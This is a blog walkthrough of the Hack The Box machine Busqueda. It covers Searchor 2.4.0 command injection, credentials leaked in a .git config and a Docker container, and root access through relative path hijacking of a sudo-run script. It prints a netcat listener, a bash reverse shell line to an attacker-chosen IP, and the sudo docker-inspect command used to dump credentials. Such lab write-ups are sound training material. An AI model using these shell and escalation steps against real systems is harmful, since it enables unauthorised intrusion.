November 12, 2026
Hack The Box Busqueda Walkthrough: From Searchor Command Injection to Root
A practical walkthrough covering web enumeration, Searchor 2.4.0 command injection, credential discovery through Git, Gitea enumeration…

By Daksh Dhamija
4 min read
A practical walkthrough covering web enumeration, Searchor 2.4.0 command injection, credential discovery through Git, Gitea enumeration, Docker inspection, and Linux privilege escalation.
In today's blog we will be doing a easy-level machine named BUSQUEDA from Hack The Box. Objective of this lab is to perform a penetration test on the linux box and manage to get the user and root flag.
Recon and Enumeration
First we will perform a basic nmap scan to know which ports are open
From the result, we found two ports open one is port 22 running SSH and second is port 80 running a web server.
Web Application Analysis
Lets enumerate web server running on the machine, when we tried to access it with IP we will be redirected to the "http://searcher.htb/" so i added searcher.htb to /etc/hosts with machine IP. now we are able to access it easily. After thoroughly enumerating web application we found "searchor 2.4.0" running on it.
After searching about it on google we found a Remote Code Execution (RCE) vulnerability in it and also found a exploit on github for this vulnerability.
Initial Access — Searchor Command Injection
We use this exploit to exploit this vulnerability
First we will setup a netcat listener to listen for the reverse shell
rlwrap -f . nc -lnvp 4444rlwrap -f . nc -lnvp 4444Now we run the exploit and wait to get the reverse shell on our listener
Got the shell on our listener as the user "svc". Now we grab the flag user.txt from the Desktop of user.
Post-Exploitation & Credential Discovery
After enumerating machine for sometime we found a config file at /var/www/app/.git which contains a user credentials and a subdomain gitea.searcher.htb
On subdomain tried to authenticate with username and pass but not successfull then try do SSH with the username svc and password that we found and we got an SSH shell.
Privilege Escalation — Docker Enumeration
We tried to enumerate machine for privilege escalation vectors and when we ran sudo -l
We found a sudo misconfiguration in which we are allowed to run Python3 as root on /opt/scripts/system-checkup.py from anywhere/ so we enumerated about this file and found a docker-inspect module in it and read about its documentation on github and found that we can inspect any docker container with it so we inspected gitea container with this command
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea | jqsudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea | jqAnd found one more credentials of user named Administrator and tried to login through the subdomain we found and logged in successfully.
Root Access — Relative Path Hijacking
After checking the scripts repo we found the file system-checkup.py and checked it and we found it was loading a file named full-checkup.sh with its realtive path not absolute path so we can do relative path hijacking in this case.
So we create a file named full-checkup.sh
in /tmp directory because we have all permissions in it and write a simple bash payload to it.
#!/bin/bash
bash -i >& /dev/tcp/<YOURIP>/<PORT> 0>&1#!/bin/bash
bash -i >& /dev/tcp/<YOURIP>/<PORT> 0>&1Then we will setup a new netcat listener to get the root shell on it. and run that script with sudo.
sudo python3 /opt/scripts/system.checkup.py full-checkup.shsudo python3 /opt/scripts/system.checkup.py full-checkup.shYeah! We got the root shell. Now grab the flag from desktop.
Lessons Learned
This machine highlights several important security issues:
- Vulnerable third-party dependencies: Using outdated or vulnerable libraries can allow attackers to execute commands on the server. Always keep dependencies updated.
- Exposed Git metadata: Leaving the
.gitdirectory publicly accessible can reveal source code, configuration files, and sensitive information. - Credential reuse: Reusing passwords across different services can allow attackers to access other accounts if one password is exposed.
- Sensitive information in Docker environment variables: Storing passwords or secrets in environment variables can expose them to users who have access to the container.
- Unsafe relative path execution: Running commands using relative paths can allow attackers to execute malicious files instead of legitimate system commands.
- Least privilege and secure sudo configuration: Users and scripts should only have the permissions they actually need. Avoid giving unnecessary sudo privileges.
Conclusion
In this machine, we started with web enumeration and discovered a vulnerable version of Searchor that allowed command injection. After gaining initial access, we found exposed Git metadata that helped us discover credentials and access the Gitea service.
We then moved to the svc user, explored Docker containers, and discovered a privilege escalation path through an insecure sudo configuration and relative path execution. Finally, we used this weakness to gain root access.
If you'd like to follow my cybersecurity learning journey, feel free to connect with me on the platforms below.
- GitHub: https://github.com/daksh-dhamija
- LinkedIn: https://www.linkedin.com/in/daksh-dhamija-12b5b83b7/
Feedback and suggestions are always appreciated.